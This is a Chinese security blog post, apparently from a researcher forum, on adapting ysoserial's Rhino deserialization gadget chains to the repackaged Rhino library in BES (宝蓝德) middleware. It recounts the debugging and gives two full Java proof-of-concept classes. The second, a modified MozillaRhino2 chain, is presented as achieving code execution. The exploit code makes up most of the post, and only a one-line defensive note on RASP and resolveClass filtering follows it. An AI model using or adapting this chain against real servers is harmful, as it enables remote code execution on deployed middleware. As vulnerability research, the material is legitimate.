一、前言

朋友找我一起调试宝蓝德中间件的发序列化漏洞,经过朋友一起的努力调试:使用断点、重写java文件等多种手段进行序列化生成字节码,最后改Rhino2的链构造成功。

二、曲折的反序列化链调试

已知宝蓝德有反序列化接口,并且存在二次开发的Rhino jar,需要构造一个RCE 反序列化。

2.1、序列化失败?

直接抽取yso中的代码,生成RhinoChain序列化的字节码测试

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java

不过这里要注意的是需要修改类的名前缀:因为jar的包名是com.bes.org.mozilla

org.mozilla.javascript.NativeError => com.bes.org.mozilla.javascript.NativeError

开始测试是否能反序列化成功。

package org.example;


import com.bes.org.mozilla.javascript.Context;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.bes.org.mozilla.javascript.*;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;


import javax.management.BadAttributeValueExpException;
import java.io.File;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;


public class RhinoChain1 {


    public static void main(String[] args) {
        try {
            String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
            Class nativeErrorClass = Class.forName("com.bes.org.mozilla.javascript.NativeError");
            Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
            Reflections.setAccessible(nativeErrorConstructor);
            IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();


            Context context = Context.enter();


            Field nameField = com.bes.org.mozilla.javascript.Context.class.getDeclaredField("topCallScope");
            nameField.setAccessible(true);
            nameField.set(context, idScriptableObject);


            NativeObject scriptableObject = (NativeObject) context.initStandardObjects();


            Method enterMethod = Context.class.getDeclaredMethod("enter");
            NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
            idScriptableObject.setGetterOrSetter("name", 0, method, false);


            Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
            NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
            idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);


            Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
            Reflections.setAccessible(getSlot);
            Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
            Field getter = slot.getClass().getDeclaredField("getter");
            Reflections.setAccessible(getter);


            Class memberboxClass = Class.forName("com.bes.org.mozilla.javascript.MemberBox");
            Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
            Reflections.setAccessible(memberboxClassConstructor);
            Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
            getter.set(slot, memberboxes);


            NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
            idScriptableObject.setPrototype(nativeObject);


            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
            Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
            Reflections.setAccessible(valField);
            valField.set(badAttributeValueExpException, idScriptableObject);




            ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(new File("test").toPath()));
            out.writeObject(badAttributeValueExpException);
            out.flush();
            out.close();


            ObjectInputStream in = new ObjectInputStream(Files.newInputStream(new File("test").toPath()));
            in.readObject();


        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

2.1.1、报错NotSerializableException?

报错如下,直接序列化报错。

于是我们来到最后的异常地方,找到defaultWriteFields函数,这样很直观看到序列化哪个对象失败了,这里可以看到IdFunctionObject的tag属性是Object,而作为非基本属性又没有继承Serialize的话,就会序列化失败。

我们再来看看是在哪里赋值的?在源码中也没有找到,于是下断点,溯源到来源地方。

发现来此com.bes.org.mozilla.javascript.BaseFunction的静态参数

这里参考未修改的Rhion的jar,发现这里的tag为固定值Global,所以这里可以通过断点修改

com.bes.org.mozilla.javascript.IdFunctionObject#IdFunctionObject


继续反序列化

2.1.2、报错BAD FUNCTION ID=1?

还是报错,接着调试。


通过栈回溯,找到对应的语句,这里有一个条件判断语句,这里判断"Global"==new Object(),因为我们之前的修改成了固定值为Global,所以肯定失败,这里我们要跳过去。

这里我可以,通过重定义java文件,修改逻辑

终于序列化成功。

2.2、反序列化又失败?

2.2.1、报错IllegalStateException?

进行发序列化的时候,直接报错。

有一个地方判断cx.topCallScope是否为空


com.bes.org.mozilla.javascript.Context
Scriptable topCallScope

我们要让topCallScope不为空,怎么办呢?通过反射修改

初始化class

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {Class.class, Map.class});
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] {Target.class, transformedMap});

这里进行修改属性

Field nameField = com.bes.org.mozilla.javascript.Context.class.getDeclaredField("topCallScope");
nameField.setAccessible(true);
nameField.set(context, idScriptableObject);

通过反射修改进行赋值即可。

2.2.2、报错No Context associated with current Thread?

可惜的的是,折腾这么久了,最后还是失败。

这里尝试给服务器发送数据包,也是无法成功,因为服务器没设置在该线程设置context。

于是按照正常的思路走了一下,发现都是卡在下面为空:检查getCurrentContext的结果是否为空,如果为空就抛出异常。

经过调试发现Context.enter函数会对在该线程设置context。


如何在发序列化过程调用Context.enter函数呢?这也太复杂了,于是看看是否有前人解决

发现yso是有第二条链的:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java

2.3、第二个反序列化链->改链

但是可惜的第二条链我们也并不能直接使用,因为这个jar并没有Environment类,需要我们找功能同等的类代替。

于是分析Environment类在反序列化的作用,结果在yso给的调用栈并没有发现Environment类,而且在触发计算器的栈也没有发现Environment类。

从调试过程发现是调用了Environment的get方法,但实际是调用super.get方法

其实到这里差不多了,找一个NativeArray类代替Environment类,这里Environment的类的作用就是调用父类方法获取后面用的方法名(所以只要找到继承了同样方法的类就好了,毕竟调用的是父类方法)。

成功弹窗

这里给出PoC

package org.example;


import com.bes.org.mozilla.javascript.*;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;


import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.util.Hashtable;
import java.util.Map;


public class Rhino2 {
    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
        out.writeObject("java.lang.Object");
        out.writeObject(new String[0]);
        out.writeObject(javaObject);
    }




    public void test() throws Exception{
        String command = "open /tmp/";


        ScriptableObject dummyScope = new NativeArray(10);
        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);


        Object initContextMemberBox = Reflections.createWithConstructor(
                Class.forName("com.bes.org.mozilla.javascript.MemberBox"),
                (Class<Object>)Class.forName("com.bes.org.mozilla.javascript.MemberBox"),
                new Class[] {Method.class},
                new Object[] {Context.class.getMethod("enter")});


        ScriptableObject initContextScriptableObject = new NativeArray(10);
        Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
        Reflections.setAccessible(makeSlot);
        Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
        Reflections.setFieldValue(slot, "getter", initContextMemberBox);


        NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
        Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
        Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
        Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
                this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
        Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);


        ScriptableObject scriptableObject = new NativeArray(10);
        scriptableObject.setParentScope(initContextNativeJavaObject);
        makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);


        NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
        Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
        Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
        nativeJavaArray.setPrototype(scriptableObject);
        Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);


        NativeJavaObject nativeJavaObject = new NativeJavaObject();
        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
                this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
        Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);




        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(new File("test4").toPath()));
        out.writeObject(nativeJavaObject);
        out.flush();
        out.close();




        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(new File("test4").toPath()));
        in.readObject();
    }


    public static void main(String[] args)throws Exception  {
        Rhino2 rhino2 = new Rhino2();
        rhino2.test();


    }
}

三、防御

反序列化漏洞防御可以通过rasp以及resolveClass自定义的方式防御,而Rhino的链子比较灵活,需要注意一下绕过风险。

四、总结

通过断点、重写java文件进行序列化生成字节码,最后改Rhino2的链构造成功。经典反序列化链还是需要经常看看,毕竟多组合或改链就可以发现新的0day。

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖